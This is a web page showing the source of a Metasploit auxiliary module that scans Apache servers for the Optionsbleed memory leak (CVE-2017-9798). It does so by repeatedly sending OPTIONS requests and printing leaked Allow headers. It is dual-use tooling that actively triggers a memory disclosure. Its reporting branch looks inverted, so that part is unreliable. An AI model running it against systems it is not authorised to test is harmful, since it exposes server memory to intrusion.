Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/apache_optionsbleed.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::Report910def initialize(info = {})11super(update_info(info,12'Name' => 'Apache Optionsbleed Scanner',13'Description' => %q{14This module scans for the Apache optionsbleed vulnerability where the Allow15response header returned from an OPTIONS request may bleed memory if the16server has a .htaccess file with an invalid Limit method defined.17},18'Author' => [19'Hanno Böck', # Vulnerability discovery20'h00die', # Metasploit module21],22'References' => [23[ 'CVE', '2017-9798' ],24[ 'EDB', '42745' ],25[ 'URL', 'https://github.com/hannob/optionsbleed' ],26[ 'URL', 'https://blog.fuzzing-project.org/60-Optionsbleed-HTTP-OPTIONS-method-can-leak-Apaches-server-memory.html' ]27],28'DisclosureDate' => '2017-09-18',29'License' => MSF_LICENSE,30'Notes' =>31{32'AKA' => ['Optionsbleed']33}34))3536register_options([37OptString.new('TARGETURI', [true, 'The URI to the folder with the vulnerable .htaccess file', '/']),38OptInt.new('REPEAT', [true, 'Times to attempt', 40]),39OptBool.new('BUGS', [true, 'Print if any other Allow header bugs are found', true])40])41end4243def get_allow_header(ip)44res = send_request_raw({45'version' => '1.1',46'method' => 'OPTIONS',47'uri' => datastore['TARGETURI']48}, 10)4950fail_with(Failure::Unreachable, "#{peer} - Failed to respond") unless res51fail_with(Failure::UnexpectedReply, "#{peer} - No Allow header identified") unless res.headers['Allow']52res.headers['Allow']53end5455def run_host(ip)56# Apache bug 61207 regex57bug_61207 = /^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$/58# Launchpad bug 1717682 regex59bug_1717682 = /^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$/60uniques = []61already_reported = false6263for counter in 1..datastore['REPEAT']64allows = get_allow_header(ip)65next if uniques.include?(allows) # no need to re-process non-new items66uniques << allows67if allows =~ bug_6120768if allows.split(',').length > allows.split(',').uniq.length # check for repeat items69print_status('Some methods were sent multiple times in the list. ' +70'This is a bug, but harmless. It may be Apache bug #61207.') if datastore['BUGS']71else72vprint_status("Request #{counter}: [Standard Response] -> #{allows}")73end74elsif allows =~ bug_1717682 && datastore['BUGS']75print_status('The list of methods was space-separated instead of comma-separated. ' +76'This is a bug, but harmless. It may be Launchpad bug #1717682.')77else78print_good("Request #{counter}: [OptionsBleed Response] -> #{allows}")79end80next unless already_reported81report_vuln(82:host => ip,83:port => rport,84:name => self.name,85:refs => self.references86)87already_reported = true88end89end90end919293